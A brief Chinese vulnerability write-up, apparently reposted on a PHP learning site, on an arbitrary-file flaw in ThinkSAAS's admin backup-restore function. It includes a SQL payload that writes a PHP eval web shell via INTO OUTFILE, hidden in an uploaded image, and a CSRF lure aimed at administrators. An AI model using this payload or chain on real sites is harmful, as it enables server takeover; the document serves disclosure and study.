来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 首先这里存在问题的是后台系统管理的数据备份还原处。这里没有过滤sql参数,直接带入,拼接data baksql 目录,然后进入恢复数据这里在恢复是判断有没有分卷,没有分卷就直接恢复了...
首先这里存在问题的是后台系统管理的数据备份还原处。
这里没有过滤sql参数,直接带入,拼接data/baksql/目录,然后进入恢复数据
这里在恢复是判断有没有分卷,没有分卷就直接恢复了,没有处理所要备份的sql文件的路径,类型,内容等,导致操作任意文件。
然后来看看这里数据恢复的操作:
我们抓个包:
我们在前台上传一个图片,图片内容为:
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");
Select cmd from temp into outfile 'F:/thinksaas/eval.php';
Drop TABLE IF EXISTS temp;
在sql参数处,把sql文件内容替换为我们自己上传的文件即可。
而且最重要的是,这里是GET请求,而且存在CSRF漏洞(图中以证明),那么我们上传了恶意文件后,诱使管理访问我们提供的恶意url就能拿到shell。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com